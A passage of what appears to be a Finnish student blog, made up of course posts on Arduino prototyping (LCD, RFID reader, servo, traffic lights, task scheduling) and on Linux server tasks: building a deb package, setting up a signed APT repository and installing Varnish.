		elif line.find('PS') !=-1:</span></span>
			message = timestamp + ': Motion stopped'</span></span>
		elif line.find('P') !=-1:</span></span>
			message = timestamp + ': Motion detected'</span></span>
		elif line.find('M') !=-1:</span></span>
			message = timestamp + ': Door Open'</span></span>
		elif line.find('A') !=-1:</span></span>
			message = timestamp + ': System Armed'</span></span>
		elif line.find('D') !=-1:</span></span>
			message = timestamp + ': System Disarmed'</span></span>
		</span></span>
		f = open('alertLog.log','a')</span></span>
		f.write(message + '\n')</span></span>
		print message</span></span>
	except (serial.serialutil.SerialException, OSError):</span></span>
		pass</span></span></code></pre>Lähteet</h2>

Python Date & Time (http://www.tutorialspoint.com/python/python_date_time.htm</a>)</li>
Python Errors & Exceptions (http://docs.python.org/2/tutorial/errors.html#exceptions</a>)</li>
Arduino SchedulerARMAVR-kirjasto (http://arduino.cc/forum/index.php?topic=142101.0</a>)</li>
Arduino – Scheduler Reference (http://arduino.cc/en/Reference/Scheduler</a>)</li>
Joni Junni: RFID-sensori Arduinolla (http://www.junni.org/2013/04/prototyypin-rakentaminen-rfid-sensori-arduinolla/</a>)</li>
Suvi Kiviniemi: Arduino-testailuja: iButton (http://suvikiviniemi.com/skivinie/arduino-testailuja-ibutton/</a>)</li>
The iButton garage-door opener (http://www.instructables.com/id/The-iButton-garage-door-opener-Arduino/</a>)</li>
Joni Junni: LCD-näytöt ja sarjaporttiliikenne (http://www.junni.org/2013/04/prototyypin-rakentaminen-lcd-naytot-ja-sarjaporttiliikenne/</a>)</li>
Arduino Playground – OneWire (http://playground.arduino.cc/Learning/OneWire</a>)</li>
</ul>


Arduino: Tehtävän ajastus arduinolla
2013-05-09T00:00:00+00:00
Huomasin varashälytintä tehdessä että tehtävien ajoitus aiheuttaa ongelmia ohjelmalogiikan luomisessa. Koska Arduino normaalisti ajaa vain yhtä looppia jossa tehtävät menevät peräkkäin, ongelmaksi muodostuu sellaiset tehtävät jotka pitäisi voida suorittaa samaan aikaan jonkin toisen prosessin kanssa. Varashälyttimeni kanssa ongelmaksi muodostui hälytyksen sammuttaminen, koska Arduino keskittyi hälytyksen suorittamiseen eikä ottanut huomioon kuittausnappia.</p>
Pienen googletuksen tuloksena löysin Arduino Unolle portatun SchedulerARMAVR-kirjaston</a>, jonka avulla on mahdollista ajaa Arduinossa useampaa loop-funtiota rinnakkain.</p>
Seuraavassa esimerkki kirjaston käyttämisestä:</p>
/*</span></span>
Program blinks two leds using two different loop-functions</span></span>
Author: Joni Junni</span></span>
Date:   9.5.2013</span></span>
*/</span></span>
</span>
#include </span></span>
</span>
void setup() {</span></span>
// Start the other loop function "loop2" using Scheduler</span></span>
	Scheduler.startLoop(loop2);</span></span>
	pinMode(13, OUTPUT); // Red led</span></span>
	pinMode(6, OUTPUT);  // Green led</span></span>
}</span></span>
</span>
void loop() {</span></span>
	digitalWrite(13, HIGH);</span></span>
	Scheduler.delay(500);  // ms</span></span>
	digitalWrite(13, LOW);</span></span>
	Scheduler.delay(500);</span></span>
}</span></span>
</span>
void loop2() {</span></span>
	digitalWrite(6, HIGH);</span></span>
	Scheduler.delay(200);</span></span>
	digitalWrite(6, LOW);</span></span>
	Scheduler.delay(500);</span></span>
	yield();</span></span>
}</span></span></code></pre>
Kirjaston käyttö ei eroa Arduino Duelle tarkoitetusta Scheduler-kirjastosta</a> ja sen referenssisivut kannattaa lukea läpi.</p>
Lähteet</h2>

Android ARM <Scheduler.h> PORTED on AVR (http://arduino.cc/forum/index.php?topic=142101.0</a>)</li>
Arduino – Scheduler (http://arduino.cc/en/Reference/Scheduler</a>)</li>
</ul>


Arduino-projekti: Varashälytin näytöllä ja RFID-aktivoinnilla
2013-04-26T00:00:00+00:00
Projektin tarkoitus on saada yhdistetty varashälytin- ja kulunvalvontajärjestelmä, jonka voi aktivoida ja kytkeä pois RFID-tunnisteella.</p>
Kuvaus toiminnasta</h2>
Hälytin- ja kulunvalvontajärjestelmä joka vahtii ovia, ikkunoita ja liiketunnistimen avulla liikettä. Laite voidaan kytkeä päälle ja pois RFID-tunnisteella jotka ovat käyttäjäkohtaisia. Laitteen paneeliin tulee LCD-näyttö, josta näkee järjestelmän tilan sekä ledit ilmoittamaan hälytyksen päälläolosta ja sensorien havaitsemasta toiminnasta. Laite kirjaa sarjaportin yli tietokoneelle tapahtumia sensoreilta sekä autentikointikerrat. Jos aikaa jää, voidaan yhdistellä ominaisuuksia muista samankaltaisista projekteista.</p>
Tarvittavat osat</h2>

Arduino</li>
LCD-näyttö</li>
Liiketunnistin (PIR)</li>
Magneetti/reedkytkimiä</li>
</ul>
Samankaltaisia projekteja</h2>

Arduino Security System (https://code.google.com/p/arduino-security-system/</a>)</li>
Arduino Burglar Alarm (http://www.freetronics.com/blogs/news/7142724-diy-burglar-and-fire-alarm-system-with-arduino</a>)</li>
</ul>
 </p>
Lähteet</h2>

BIS0001-liiketunnistimen käyttö Arduinossa (http://www.instructables.com/id/PIR-Motion-Sensor-Tutorial/</a>)</li>
LCD-näytön kytkeminen Arduinoon (http://arduino.cc/en/Tutorial/LiquidCrystal</a>)</li>
</ul>


Prototyypin rakentaminen: LCD-näytöt ja sarjaporttiliikenne
2013-04-26T00:00:00+00:00
Tehtävässä oli tarkoituksena kommunikoida tietokoneen avulla sarjaportitse Arduinon kanssa. Päätin tehdä Arduinolla näytön, joka ottaa sisään sarjakonsolista tekstiä ja tulostaa sen Arduinoon kytkettyyn LCD-näyttöön.</p>
Aloitin tutkimalla kuinka LCD-paneelin saa kytkettyä Arduinoon. Löysin Arduinon omilta sivuilta</a> ohjeet LiquidCrystal-luokan käyttöön.</p>
Näytön kytkeminen Arduinoon</h1>
Näytön datapinnit D4-D7 kytketään Arduinon digital-pinneihin 2-5, näytön RS-pinni kytketään Arduinon pinniin 6 ja näytön Enable-pinni Arduinon pinniin 7. Näytön VSS kytketään maihin ja VDD kytketään +5 volttiin. Näytön taustavalon anodi kytketään +5 volttiin ja katodi maihin. Näytön V0-pinni kytketään potentiometrin keskimmäiseen jalkaan. Potentiometrin vasen jalka kytketään +5 volttiin ja oikea jalka maihin.</p>
</p>
Koodi näytön ohjaamiseen sarjakonsolista</h1>
Hetken yrityksen ja erehdyksen kautta sain seuraavanlaisen koodin tehtyä joka lukee sarjakonsolista tekstiä ja syöttää sen Arduinoon kytketylle näytölle:</p>
/*</span></span>
Arduinon näyttöön tulostaminen sarjakonsolista.</span></span>
Author: Joni Junni</span></span>
Date: 26.4.2013</span></span>
</span>
Kytkentä:</span></span>
VSS: Ground</span></span>
VDD: +5v</span></span>
V0:  potentiometrin keskijalkaan</span></span>
RS:  pin 6</span></span>
RW:  Ground</span></span>
E:   pin 7</span></span>
D0-3:  NC</span></span>
D4:  pin 2</span></span>
D5:  pin 3</span></span>
D6:  pin 4</span></span>
D7:  pin 5</span></span>
A:   +5v</span></span>
K:   Ground</span></span>
*/</span></span>
</span>
#include</span></span>
</span>
// Luodaan lcd "olio" määritettyihin pinneihin</span></span>
LiquidCrystal lcd(6, 7, 2, 3, 4, 5);</span></span>
</span>
void setup() {</span></span>
	Serial.begin(9600);</span></span>
	// Asetetaan näytön koko</span></span>
	lcd.begin(16, 2);</span></span>
}</span></span>
</span>
void loop() {</span></span>
	// Jos sarjaportissa on uutta dataa,</span></span>
	// tyhjennetään näyttö ja tulostetaan uusi teksti näytölle</span></span>
	if(Serial.available()) {</span></span>
		delay(200);</span></span>
		lcd.clear();</span></span>
		// Kirjoitetaan teksti näytölle kirjain kirjaimelta</span></span>
		while(Serial.available() > 0) {</span></span>
			lcd.write(Serial.read()); </span></span>
		}</span></span>
	}</span></span>
}</span></span></code></pre>
Lopputuloksena syntyi Arduinolla toteutettu näyttö johon voi syöttää tekstiä sarjakonsolista:</p>
</p>
</p>
Lähteet</h2>

Arduino – LiquidCrystal (http://arduino.cc/en/Tutorial/LiquidCrystal</a>)</li>
Arduino – Serial (http://arduino.cc/en/Reference/serial</a>)</li>
Tero Karvinen: Yhteydet suureen maailmaan-luento (http://terokarvinen.com/2012/aikataulu-prototyypin-rakentaminen-bus4tn007-4-loppukevat-2013</a>)</li>
</ul>


Prototyypin rakentaminen: RFID-sensori Arduinolla
2013-04-20T00:00:00+00:00
Sain tehtäväkseni saada toimimaan jonkinlainen RFID-lukija Arduinossa. Pienen googletuksen jälkeen löysin tämän sivuston</a>, jossa kyseisellä saamallani lukijalla oli toteutettu autotallin oveen kulunvalvonta. Esimerkki vaikutti hankalalta, mutta löysin pienen jatko-googletuksen jälkeen kurssin edellisen toteutuksen osallistujan muistiinpanot</a>, josta löytyikin valmis koodi jolla laitteen sai toimimaan.</p>
Ledien lisääminen pääsyn merkiksi</h1>
Päätin lisätä kytkentään kaksi lediä, vihreän ja punaisen. Vihreä valo kertoo että pääsy on sallittu, ja punainen kertoo että pääsy on kielletty.</p>
</p>
</p>
Koodi</h1>
Alla on toimiva versio RFID-lukijakoodista johon on lisättynä pääsyindikaattoriledit.</p>
/*</span></span>
* RFID-lukijatesti kahdella ledi-indikaattorilla.</span></span>
* Author: Joni Junni (Original version: http://suvikiviniemi.com/skivinie/arduino-testailuja-ibutton/)</span></span>
* Date: 20.4.2013</span></span>
*/</span></span>
</span>
#include</span></span>
</span>
OneWire ds(10); //onewire-laitteeni on siis pinnissä 12.</span></span>
byte addr[8]; //tilaa iButtonin "sormenjäljelle". Otetaan vastaan bitteinä lukijalta.</span></span>
int but[6] = {195,133,181,20,0,0};</span></span>
//"sormenjälki" on tätä pidempi, mutta vain osa sen numeroista on yksilöllistä tunnistetta.</span></span>
String keyStatus="";</span></span>
int greenLed = 12;</span></span>
int redLed = 11;</span></span>
</span>
void setup(void) {</span></span>
	Serial.begin(9600);</span></span>
	pinMode(greenLed, OUTPUT);</span></span>
	pinMode(redLed, OUTPUT);</span></span>
}</span></span>
</span>
void loop(void) {</span></span>
	getKeyCode(); //tsekataan keyCoden avulla onko koodi ylipäänsä olemassa ja ds1990a-napin koodi</span></span>
	</span></span>
    Serial.println();</span></span>
	if(keyStatus=="ok"){</span></span>
		//jos getKeyCode on lukenut oikeanlaisen napin, jatketaan tähän.</span></span>
		byte i;</span></span>
		for( i = 5; i >0; i--) {</span></span>
			Serial.print(" : ");</span></span>
			Serial.print(addr[i], DEC);</span></span>
		}</span></span>
		// Jos nappi vastaa määritettyä nappia, syttyy vihreä ledi</span></span>
		// Jos väärällä koodilla oleva nappi, vilkutetaan punaista lediä</span></span>
		if(addr[1] == but[0] && addr[2] == but[1] && addr[3] == but[2] && addr[4] == but[3]) {</span></span>
			digitalWrite(greenLed, HIGH);</span></span>
			delay(1500);</span></span>
			digitalWrite(greenLed, LOW);</span></span>
    	} else {</span></span>
			digitalWrite(greenLed, LOW);</span></span>
    		int j;</span></span>
			for(j = 5; j > 0; j--) {</span></span>
				digitalWrite(redLed, HIGH);</span></span>
				delay(500);</span></span>
				digitalWrite(redLed, LOW);</span></span>
				delay(200);</span></span>
			}</span></span>
    	}</span></span>
	} else if (keyStatus!="") {</span></span>
		Serial.print(keyStatus);</span></span>
	}</span></span>
delay(1000);</span></span>
}</span></span>
    </span></span>
void getKeyCode(){</span></span>
	keyStatus="";</span></span>
	//jos lukija ei saa kontaktia (l. nappia ei ole), palataan alkuun jo tässä.</span></span>
	if ( !ds.search(addr)) {</span></span>
		//keyStatus="testi";</span></span>
		//tämän kirjoitin testiksi, ja totesinkin lukijan olevan väärässä pinnissä</span></span>
		//(ohjeen mukainen 2, ei koodin mukainen 12),</span></span>
		//kun ohjelma tulosti koko ajan pelkkää "testiä".</span></span>
		ds.reset_search();</span></span>
		return;</span></span>
    }</span></span>
    </span></span>
	//en ymmärrä täysin, ilmeisesti onewiren koko tunnuksen kohta 7 on aina sama tms?</span></span>
	if ( OneWire::crc8( addr, 7) != addr[7]) {</span></span>
    	keyStatus="CRC invalid";</span></span>
		return;</span></span>
	}</span></span>
    </span></span>
	//tämä liittyy ds1990a-mallin perhetunnukseen -</span></span>
	//tämän ilmoituksen siis saisi, jos yrittäisi käyttää eri mallin nappia.</span></span>
	//Testata en voinut, ei ole muita nappeja.</span></span>
	if ( addr[0] != 0x01) {</span></span>
		keyStatus="not DS1990A";</span></span>
		return;</span></span>
	}</span></span>
    </span></span>
	//jos ei palattu missään aiemmassa kohdassa,</span></span>
	//keyStatus on ok = lukija luki ds1990a-mallin napin.</span></span>
	keyStatus="ok";</span></span>
	ds.reset();</span></span>
}</span></span></code></pre>Lähteet</h1>

PJRC: OneWire Library (http://www.pjrc.com/teensy/td_libs_OneWire.html</a>)</li>
Suvi Kiviniemi: Arduino-testailuja: iButton (http://suvikiviniemi.com/skivinie/arduino-testailuja-ibutton/</a>)</li>
The iButton garage-door opener (http://www.instructables.com/id/The-iButton-garage-door-opener-Arduino/</a>)</li>
Tero Karvinen: Anturit, Androidin silmät-luento (http://terokarvinen.com/2012/aikataulu-prototyypin-rakentaminen-bus4tn007-4-loppukevat-2013</a>)</li>
</ul>


Prototyypin rakentaminen: Servojen ohjaus
2013-04-15T00:00:00+00:00
11.4.2013 klo 17.39</p>
Tehtävän tarkoituksena oli ohjata servomoottoria kahdella eri tavalla, Arduinon sisäisellä Servo-luokalla sekä käsin syöttämällä signaaleja sille suoraan.</p>
Aloitin tehtävän tekemällä vaadittavat kytkennät arduinon ja servon välillä.  Servoni on mallia Tower Pro Micro Serve 9g SG90. Servomoottorissa on normaaleista moottoreista poiketen kolme johtoa: plus-johto johon tulee jatkuva jännite; miinus-johto joka tulee maihin sekä yleensä oranssi signaalijohto, jolla servoa ohjataan.</p>
</p>
</p>
Kun kytkentä oli tehty, avasin Arduinon kehitysympäristön koneelle ja avasin File -> Examples -> Servo -> Sweep-esimerkkiohjelman servokytkennän testausta varten. Latasin ohjelman piirilevylle ja servo alkoi liikkumaan edes takas juuri niinkuin ohjelma käskee tekemään. Esimerkkiohjelmassa käytetään Arduinon sisäistä Servo-luokkaa servon ohjaamiseen.</p>
</p>
Servon ohjaaminen manuaalisesti pulsseilla</h1>
Servoa on myös mahdollista ohjata itse syöttämällä sille digitalWrite-funktiolla pulsseja tuohon pulse-johtoon. Seuraavalla koodilla sain servon liikkumaan puoli senttiä edestakaisin:</p>
int servopin = 9;</span></span>
    </span></span>
    void setup() {</span></span>
      pinMode(servopin, OUTPUT);</span></span>
    </span></span>
    }</span></span>
    </span></span>
    void loop() {</span></span>
      eteenpain();</span></span>
      delay(2000);</span></span>
      taaksepain();</span></span>
      delay(2000);</span></span>
    </span></span>
    }</span></span>
    </span></span>
    void eteenpain() {</span></span>
      digitalWrite(servopin, HIGH);</span></span>
      delayMicroseconds(500);</span></span>
      digitalWrite(servopin, LOW);</span></span>
    </span></span>
    }</span></span>
    </span></span>
    void taaksepain() {</span></span>
      digitalWrite(servopin, HIGH);</span></span>
      delayMicroseconds(2200);</span></span>
      digitalWrite(servopin, LOW);</span></span>
    </span></span>
    }</span></span></code></pre>
Ongelmaksi muodostui saada servo liikkumaan varmemmin oikeaan suuntaan sekä saada se laajemmin liikkumaan. Koska en saanut säätämällä edellistä toimimaan paremmin, päätin kokeilla netistä löytynyttä lähdekoodimallia josko se toimisi odotetummin: http://blog.zipwhip.com/2012/03/28/manual-control-of-a-servo-on-the-arduino-for-the-zipwhip-textspresso-machine/</a></p>
11.4.2013 klo 21.22</p>
Pitkän säätämisen jälkeen tuo netistä löytynyt koodinpätkä toimi vielä huonommin kuin itse kirjoittamani versio aikaisemmin. Servossani on varmaankin jokin omituinen pulssisykli, koska en saanut sitä toimimaan mitenkään järkevästi muulla kuin Arduinon omalla Servo-luokalla.</p>


Prototyypin rakentaminen: Arduinon kehitysympäristön pystyttäminen Macille
2013-04-02T00:00:00+00:00
Arduinon kehitysympäristön pystyttäminen Macille on suht suoraviivaista. Ensiksi ladataan asennuspaketti Arduinon kotisivuilta: http://arduino.googlecode.com/files/arduino-1.0.4-macosx.zip</a>

</a></p>
Tämän jälkeen puretaan paketti, raahataan Arduino-ohjelma Ohjelmat-hakemistoon ja avataan se tuplaklikkaamalla.</p>
Kun kehitysympäristö avautuu, kytketään Arduino USB-johdolla koneeseen kiinni ja valitaan Tools -> Serial Port-valikon alta oikea sarjaportti(minun tapauksessani “/dev/tty.usbmodemfa131”):
</p>
Varmistetaan että Tools -> Board-valikossa on valittuna oikea ohjainmalli (Arduino Uno).</p>
Ladataan piirilevylle vilkkuledi-esimerkki avaamalla File -> Examples -> Basics -> Blink:</p>
</p>
Lopuksi painetaan Upload-painiketta, jolloin ohjelma käännetään ja syötetään piirilevylle muistiin. Jos kaikki meni oikein, Arduino-piirilevyllä pitäisi vilkkua keltainen LED-valo.</p>
Lähteet</h1>

Arduino Sofware Download (http://arduino.cc/en/Main/Software</a>)</li>
Prototyypin rakentaminen-kurssin aloitusluento, Tero karvinen (http://terokarvinen.com/</a>)</li>
</ul>


Prototyypin rakentaminen: Yksinkertaiset liikennevalot Arduinolla
2013-04-02T00:00:00+00:00
Päätin tehdä pienenä lediprojektina liikennevalot, jotka vaihtuvat tietyin väliajoin samalla tavalla kuin oikeatkin liikennevalot.</p>
Tekninen toteutus</h1>
Teknisesti toteutus ei ole kovin vaikea, tarvitaan vain kolme eriväristä ledia(punainen, keltainen ja vihreä), koekytkentälevy ja muutamia kytkentäjohtoja. Kytkin jokaisen ledin katodijalan(miinus/maajalan) samaan riviin koekytkentärivillä, josta vedin johdon Arduinon maaliittimeen(GND). Kytkin ledien anodijalat(positiiviset johtimet) omiin riveihinsä, joista vedin jokaiselle oman värikoodatun johdon Arduinon digitaalisen puolen pinneihin 3,4 ja 5.</p>
</p>
</p>
Ohjelmalogiikan luominen</h1>
Aloitin ohjelmalogiikan luomisen luonnostelemalla miten oikeat liikennevalot toimivat. Liikennevalothan kiertävät jatkuvasti samaa rataa: vihreästä keltaiseksi, keltaisesta punaiseksi ja yhtäaikaisesta punaisesta ja keltaisesta vihreäksi. Selkeämmin ilmaistuna: “vihreä -> keltainen -> punainen -> punainen+keltainen -> vihreä“.</p>
</p>
Logiikan toteutus koodiksi</h1>
Kun sain logiikan hiottua kuntoon, toteutin ohjelman koodiksi joka näyttää seuraavanlaiselta:</p>
/*</span></span>
Liikennevalosovellus</span></span>
Tekijä: Joni Junni</span></span>
Pvm: 2.4.2013</span></span>
*/</span></span>
</span>
int PUN_led = 3;</span></span>
int KELT_led = 4;</span></span>
int VIHR_led = 5;</span></span>
</span>
void setup() { </span></span>
	pinMode(PUN_led, OUTPUT);</span></span>
	pinMode(KELT_led, OUTPUT);</span></span>
	pinMode(VIHR_led, OUTPUT);</span></span>
}</span></span>
</span>
void loop() {</span></span>
// Vihreä valo palaa 10 sek</span></span>
	digitalWrite(PUN_led, LOW);</span></span>
	digitalWrite(KELT_led, LOW);</span></span>
	digitalWrite(VIHR_led, HIGH);</span></span>
	delay(10000); </span></span>
// Keltainen palaa 3 sek</span></span>
	digitalWrite(PUN_led, LOW);</span></span>
	digitalWrite(KELT_led, HIGH);</span></span>
	digitalWrite(VIHR_led, LOW);</span></span>
	delay(3000);</span></span>
// Punainen palaa 10 sek</span></span>
	digitalWrite(PUN_led, HIGH);</span></span>
	digitalWrite(KELT_led, LOW);</span></span>
	digitalWrite(VIHR_led, LOW);</span></span>
	delay(10000);</span></span>
// Punainen ja keltainen palaa 1,5 sek</span></span>
	digitalWrite(PUN_led, HIGH);</span></span>
	digitalWrite(KELT_led, HIGH);</span></span>
	digitalWrite(VIHR_led, LOW);</span></span>
	delay(1500);</span></span>
}</span></span></code></pre>Lopputulos</h1>
Lopputuloksena on toimivat liikennevalot ledeistä jotka vaihtuvat omaa tahtia:</p>
</p>
</p>


Linux palvelimena: deb-paketin teko ja repositoryn luominen
2013-03-08T00:00:00+00:00
Tehtävän tarkoituksena on luoda yksinkertaiselle shell-skriptille deb-asennuspaketti, jotta sen voi helposti jaella pakettivaraston kautta ns. “orjakoneille”. Paketin luonnin jälkeen konfiguroidaan pakettivarasto (repository) paketin jakelua varten, allekirjoitetaan se sekä lisätään oma pakettivarasto orjakoneiden pakettivarastoihin.</p>
Käytin harjoituksissa jo olemassa olevaa Debian-virtuaalikonetta seuraavilla spekseillä:</p>

Käyttöjärjestelmä: Debian 6.0</li>
RAM: 2048 Mb</li>
HDD: 20 Gb</li>
</ul>
Shell-skriptin paketointi</h1>
Aloitin tekemällä kotihakemistoon hello-world.sh</strong>-nimisen esimerkkiskriptin komenolla</p>
sudo nano hello-world.sh</span></span></code></pre>
Tiedoston sisään kirjoitin yksinkertaisen rivin joka tulostaa “Hello, world!” näytölle.</p>
</p>
Skripti ei tässä tapauksessa tee mitään ihmeellistä, tulostaa vain “Hello, world!”-tekstin ruudulle ajettaessa. Hyödyllistä voisi olla paketoida esimerkiksi jokin yrityksen varmuuskopiointiskripti tms.</p>
Paketointi onnistuu näppärästi equivs-työkalulla, joka löytyy vakiona ainakin Debianista ja Ubuntusta. Ensiksi asensin tarvittavat työkalut komennolla</p>
sudo apt-get install equivs lintian</span></span></code></pre>
Tämän jälkeen tein kotihakemistoon “joni-hello-world”-nimisen hakemiston. Nimeä hakemisto yksilöllisesti, että samannimistä pakettia ei löydy jo järjestelmästä. Hyvä nimeämistapa on esimerkiksi “organisaationnimi-paketin-tarkoitus”. Hakemiston luomisen jälkeen siirrytään kyseiseen hakemistoon ja ajetaan siellä equivs-control, joka luo hakemistoon tyhjän asetustiedoston:</p>
mkdir joni-hello-world</span></span>
cd joni-hello-world</span></span>
equivs-control joni-hello-world.cfg</span></span></code></pre>
Sitten avasin equivs-controlin luoman asetustiedoston ja muokkasin sinne omat tietoni. Huomattavaa on, että Files-riville pitää määritellä tuo skriptitiedoston polku mikä aikaisemmin luotiin parina kuten asetustiedostossa ohjeistetaan.</p>
</p>
Tämän jälkeen kopioin skriptin paketin omaan hakemistoon joka luotiin aiemmin komennolla</p>
cp ../hello-world.sh ./hello-world.sh</span></span></code></pre>
Kun asetustiedoston kohdat on määritelty ja poistettu kommenttimerkit muokatuilta riveiltä, voidaan ajaa paketointikomento equivs-build:</p>
equivs-build joni-hello-world.cfg</span></span></code></pre>
Ja tämän jälkeen testataan lintianilla paketin toimivuus:</p>
lintian joni-hello-world_1.0.2_all.deb</span></span></code></pre>
Jos lintian menee virheittä läpi, paketti on sääntöjen mukainen. Itselläni tuli muutama varoitus johtuen siitä että skripti laitettiin binäärihakemistoon tiedostopäätteen kera ja ilman man-sivuja:</p>
</p>
Pakettivaraston luominen</h1>
Pakettivaraston (repositoryn) luomista varten koneella pitää olla Apache konfiguroituna. Tein /var/www-hakemiston alle hakemiston “apt” johon aion pakettivaraston tehdä sekä sen alle “conf”-hakemisto jossa sijaitsee asetustiedosto jonka luon myöhemmin.</p>
sudo mkdir apt</span></span>
sudo mkdir apt/conf</span></span>
sudo apt-get install reprepro</span></span></code></pre>
Jälkimmäisellä komennolla asensin reprepron, joka on työkalu pakettivaraston luomiseen.</p>
Asetustiedoston luominen</h2>
apt/conf-hakemiston alle loin asetustiedoston “distributions” johon syötin seuraavanlaiset rivit:</p>
Origin: Joni Junni</span></span>
Label: Oma repository</span></span>
Suite: stable</span></span>
Codename: squeeze</span></span>
Version: 6.0</span></span>
Architectures: i386 amd64</span></span>
Components: main non-free contrib</span></span>
Description: Mun oma repository</span></span>
SignWith: yes</span></span></code></pre>
Tärkeimpiä rivejä tuossa ovat lähinnä codename</strong>, version</strong>, architectures,</strong> **components **sekä SignWith</strong>. Näiden perusteella orjakoneet määrittelevät ovatko pakettivaraston paketit niille sopivia. SignWith määrittelee että pakettivarasto tulee allekirjoittaa.</p>
Avaimen luominen pakettivarastoa varten</h2>
Avaimen luonti tapahtuu komennolla</p>
sudo gpg --gen-key</span></span></code></pre>
Kannattaa huomata että käytän tässä ohjeessa sudoa, koska määritin pakettivarastoni sijainniksi /var/www-hakemiston joka ei ole normaalin käyttäjän muokattavissa. Koska repreprota joutuu ajamaan sudona tästä syystä myös, on gpg-avain luotava sudona myöskin jotta reprepro suostuu allekirjoittamaan pakettivaraston.</p>
Ohjelma kyselee sinulta tietoja avaimen luontia varten. Itse laitoin seuraavanlaiset asetukset:</p>

Vaihtoehto 1 RSA</li>
Pituudeksi laitoin oletusavaimen 2048</li>
Avaimen kestoksi 1 vuosi</li>
Oma nimi+ sähköpostiosoite</li>
Salasanaksi salasana1 (käytä jotakin vahvempaa)</li>
</ul>
Seuraavaksi exporttasin allekirjoitusavaimen komennolla</p>
sudo gpg --armor --export *sähköpostiosoite* --output gpgkey.gpg.key</span></span></code></pre>
Ylempi komento ei jostakin syystä tee tiedostoa parametristä huolimatta, vaan tulostaa avaimen näytölle. Kopioin avaimen ja tallensin sen tuonnimiseen tiedostoon. Tämä tiedosto tallennetaan pakettivaraston yhteyteen jotta orjakoneet voivat varmistaa pakettivaraston oikeellisuuden.</p>
Seuraavaksi ajetaan reprepro. Varmistetaan että ollaan siellä hakemistossa mihin repo halutaan luoda ja sen jälkeen ajetaan reprepro:</p>
cd /var/www/apt</span></span>
sudo reprepro -Vb . includedeb squeeze /home/joni/joni-hello-world/joni-hello-world_1.0.2_all.deb</span></span></code></pre>
Jos repreprop meni virheettä läpi, meillä on toimiva pakettivarasto:</p>
</p>
Pakettivaraston määrittely orjakoneille</h1>
Orjakoneille täytyy siis enään tuoda julkinen avain pakettivaraston autentikointia varten sekä lisätä pakettivaraston osoite /etc/sources.list-tiedostoon. Lisätään avain koneelle komennolla:</p>
wget -O - http://srv-deb2/apt/gpgkey.gpg.key | sudo apt-key add -</span></span></code></pre>
Tämän jälkeen lisätään /etc/apt/sources.list-tiedostoon uusi rivi pakettivarastolle:</p>
deb http://srv-deb2/apt/ squeeze main</span></span></code></pre>
Lopuksi testataan että pakettivarasto toimii ja paketti löytyy aptista:</p>
sudo apt-get update</span></span>
sudo apt-cache search joni</span></span></code></pre>
Ensimmäisellä komennolla päivitettiin aptin välimuisti jolloin se haki uuden pakettivaraston pakettilistauksen. Jälkimmäisellä haetaan aptista uuden paketin tiedot näytölle:</p>
</p>
Viimeiselllä rivillä näkyy itse tehty paketti valmiina asennettavaksi. Asennus tapahtuu niinkuin minkä tahansa muunkin paketin komennolla</p>
sudo apt-get install joni-hello-world</span></span></code></pre>Lähteet</h1>

Howto: create “configuration packages” with equivs (http://ubuntuforums.org/showthread.php?t=726317</a>)</li>
Creating your own Signed APT repository and Debian packages (http://blog.jonliv.es/2011/04/26/creating-your-own-signed-apt-repository-and-debian-packages/</a>)</li>
Setting up your own APT repository with upload support (http://www.debian-administration.org/articles/286</a>)</li>
Setting up a personal debian repository (http://ianlawrence.info/random-stuff/setting-up-a-personal-debian-repository</a>)</li>
Tero Karvinen: Metapaketit-luento (http://www.terokarvinen.com</a>)</li>
</ul>
 </p>


Linux palvelimena: Web-palvelimen optimointi Varnishilla
2013-02-17T00:00:00+00:00
17.2.2013 klo 13.21</p>
Tehtävänä oli asentaa johonkin web-palvelimeen Varnish-käänteisproxy ja testata sillä web-palvelun mahdollista nopeutumista. Päätin tälläkertaa tehdä tehtävän käyttäen Vagrantissa ajettavaa virtuaalikonetta käyttäen. Fyysisenä laitteistona toimii Lenovo Thinkpad T410 seuraavilla specseillä:</p>

Intel Core i5-480-prosessori</li>
8Gt RAM</li>
60Gt SSD+500Gt 5400 RPM HDD</li>
Intel Quadro NVS 3100M 512Mt-näytönohjain</li>
Käyttöjärjestelmä: Xubuntu 12.04 64-bit</li>
</ul>
Vagrantin konfigurointi</h1>
Koneessa oli jo aikasemmin asentamani Vagrant, mutta virtuaalikone siitä puuttui. Hain uuden virtuaalikoneen siihen komennolla (Vagrant Get Started documentation</a>):</p>
vagrant box add lucid32 http://files.vagrantup.com/lucid32.box</span></span></code></pre>
Latauksen meni n. 10 minuuttia hitaasta yhteydestä johtuen. kun lataus valmistui, ajoin komennot</p>
vagrant init lucid32</span></span>
vagrant up</span></span>
vagrant ssh</span></span></code></pre>
Ylin komento luo Vagrantfile-nimisen tiedoston joka sisältää virtuaalikoneen asetukset sen käyttöönottoa varten. Keskimmäinen komento käynnistää virtuaalikoneen ja viimeinen ottaa SSH-yhteyden koneeseen.</p>
Seuraavaksi asensin virtuaalikoneeseen LAMP-stackin. En mene tässä postauksessa keskity LAMPin asennukseen, tarkemmat yksityiskohdat LAMP:n ja wordpressin konfigurointiin löydät täältä: https://jonijunni.com/blog/linux-palvelimena-lamp-stackin-ja-wordpressin-asennus-konfigurointi/</a></p>
Vagrantin virtuaalikoneen HTTP-porttiohjaus</h2>
Jotta virtuaalikoneen Apachen saa näkymään paikallisella koneella, pitää poistaa kommentointi Vagrantfilen rivillä “config.vm.forward_port 80, 8080”.</p>
</p>
Kun Vagrantfilestä on tuo muokkaus tehty, voidaan virtuaalikone käynnistää uudelleen komennolla:</p>
vagrant reload</span></span></code></pre>
Testataan ohjauksen toimivuus avaamalla osoite localhost:8080 selaimessa:</p>
</p>
Varnishin asennus</h1>
Asensin Varnishin komennolla:</p>
sudo apt-get install varnish</span></span></code></pre>Apachen porttimuutokset</h2>
Koska Varnish oletuksena on määritelty kuuntelemaan porttia 8080, muutetaan Apachen portiksi 8080. Aluksi muokataan /etc/apache2/ports.conf-tiedostoa:</p>
</p>
Sitten muokataan tiedostoa /etc/apache2/sites-enabled/000-default:</p>
</p>
Koska käytän vagrantia, minun pitäisi muuttaa porttiohjausta niin, että apacheen määritetty uusi portti ohjautuisi oikein. En tee sitä, koska tiedän muutoksen onnistuneen kun apache ei enää vastaa portissa 8080:</p>
</p>
